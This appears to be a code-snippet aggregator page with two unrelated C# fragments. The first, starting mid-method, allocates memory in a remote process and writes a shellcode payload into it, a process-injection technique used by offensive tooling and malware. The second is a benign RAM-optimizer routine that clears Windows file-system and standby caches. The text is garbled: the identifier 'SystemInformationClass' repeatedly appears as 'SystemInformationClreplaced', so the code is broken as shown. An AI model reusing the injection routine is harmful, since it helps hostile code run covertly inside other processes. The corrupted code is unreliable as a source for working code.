            if (this.AllocAPI == AllocationAPI.VirtualAllocEx)
            {
                regionAddress = DynamicInvoke.Win32.VirtualAllocEx(procHandle, PreferredAddress, (uint)Payload.Payload.Length, AllocationType, MemoryProtection);
                if (regionAddress == IntPtr.Zero)
                {
                    throw new AllocationFailed(Marshal.GetLastWin32Error());
                }
            }
            else if (this.AllocAPI == AllocationAPI.NtAllocateVirtualMemory)
            {
                IntPtr regionSize = new IntPtr(Payload.Payload.Length);
                DynamicInvoke.Native.NtAllocateVirtualMemory(procHandle, ref regionAddress, IntPtr.Zero, ref regionSize, AllocationType, (uint)MemoryProtection);
            }

            if (this.Write_API == WriteAPI.WriteProcessMemory)
            {
                // Copy the shellcode to allocated memory
                bool retVal = DynamicInvoke.Win32.WriteProcessMemory(procHandle, regionAddress, Payload.Payload, (Int32)Payload.Payload.Length, out _);
                if (!retVal)
                {
                    throw new MemoryWriteFailed(Marshal.GetLastWin32Error());
                }
            }
            else if (this.Write_API == WriteAPI.NtWriteVirtualMemory)
            {
                GCHandle handle = GCHandle.Alloc(Payload.Payload, GCHandleType.Pinned);
                IntPtr payloadPtr = handle.AddrOfPinnedObject();
                uint BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory(procHandle, regionAddress, payloadPtr, (uint)Payload.Payload.Length);
                if (BytesWritten != (uint)Payload.Payload.Length)
                {
                    throw new MemoryWriteFailed(0);
                }
            }

            return regionAddress;
        }

19 Source : RamOptimizer.cs
with GNU General Public License v3.0
from CodeDead

internal void ClearFileSystemCache(bool clearStandbyCache)
        {
            _logController.AddLog(new RamLog("Clearing FileSystem cache"));

            try
            {
                // Check if privilege can be increased
                if (SetIncreasePrivilege(IncreaseQuotaName))
                {
                    _logController.AddLog(new RamLog("Privileges have successfully been increased"));

                    uint ntSetSystemInformationRet;
                    int systemInfoLength;
                    GCHandle gcHandle;
                    // Depending on the working set, call NtSetSystemInformation using the right parameters
                    if (!Is64BitMode())
                    {
                        _logController.AddLog(new RamLog("Clearing 32 bit FileSystem cache information"));

                        SystemCacheInformation cacheInformation =
                            new SystemCacheInformation
                            {
                                MinimumWorkingSet = uint.MaxValue,
                                MaximumWorkingSet = uint.MaxValue
                            };
                        systemInfoLength = Marshal.SizeOf(cacheInformation);
                        gcHandle = GCHandle.Alloc(cacheInformation, GCHandleType.Pinned);
                        ntSetSystemInformationRet = NativeMethods.NtSetSystemInformation((int)SystemInformationClreplaced.SystemFileCacheInformation, gcHandle.AddrOfPinnedObject(), systemInfoLength);
                        // If value is not equal to zero, things didn't go right :(
                        if (ntSetSystemInformationRet != 0) throw new Exception("NtSetSystemInformation: ", new Win32Exception(Marshal.GetLastWin32Error()));
                        gcHandle.Free();

                        _logController.AddLog(new RamLog("Done clearing 32 bit FileSystem cache information"));
                    }
                    else
                    {
                        _logController.AddLog(new RamLog("Clearing 64 bit FileSystem cache information"));

                        SystemCacheInformation64Bit information64Bit =
                            new SystemCacheInformation64Bit
                            {
                                MinimumWorkingSet = -1L,
                                MaximumWorkingSet = -1L
                            };
                        systemInfoLength = Marshal.SizeOf(information64Bit);
                        gcHandle = GCHandle.Alloc(information64Bit, GCHandleType.Pinned);
                        ntSetSystemInformationRet = NativeMethods.NtSetSystemInformation((int)SystemInformationClreplaced.SystemFileCacheInformation, gcHandle.AddrOfPinnedObject(), systemInfoLength);
                        // If value is not equal to zero, things didn't go right :(
                        if (ntSetSystemInformationRet != 0) throw new Exception("NtSetSystemInformation: ", new Win32Exception(Marshal.GetLastWin32Error()));
                        gcHandle.Free();

                        _logController.AddLog(new RamLog("Done clearing 64 bit FileSystem cache information"));
                    }
                }

                // Clear the standby cache if we have to and if we can also increase the privileges
                // If we can't increase the privileges, it's pointless to even try
                if (!clearStandbyCache || !SetIncreasePrivilege(ProfileSingleProcessName)) return;
                {
                    _logController.AddLog(new RamLog("Clearing standby cache"));

                    int systemInfoLength = Marshal.SizeOf(MemoryPurgeStandbyList);
                    GCHandle gcHandle = GCHandle.Alloc(MemoryPurgeStandbyList, GCHandleType.Pinned);
                    uint ntSetSystemInformationRet = NativeMethods.NtSetSystemInformation((int)SystemInformationClreplaced.SystemMemoryListInformation, gcHandle.AddrOfPinnedObject(), systemInfoLength);
                    if (ntSetSystemInformationRet != 0) throw new Exception("NtSetSystemInformation: ", new Win32Exception(Marshal.GetLastWin32Error()));
                    gcHandle.Free();

                    _logController.AddLog(new RamLog("Done clearing standby cache"));
                }
            }
            catch (Exception ex)
            {
                _logController.AddLog(new ErrorLog(ex.ToString()));
            }
        }

See More Examples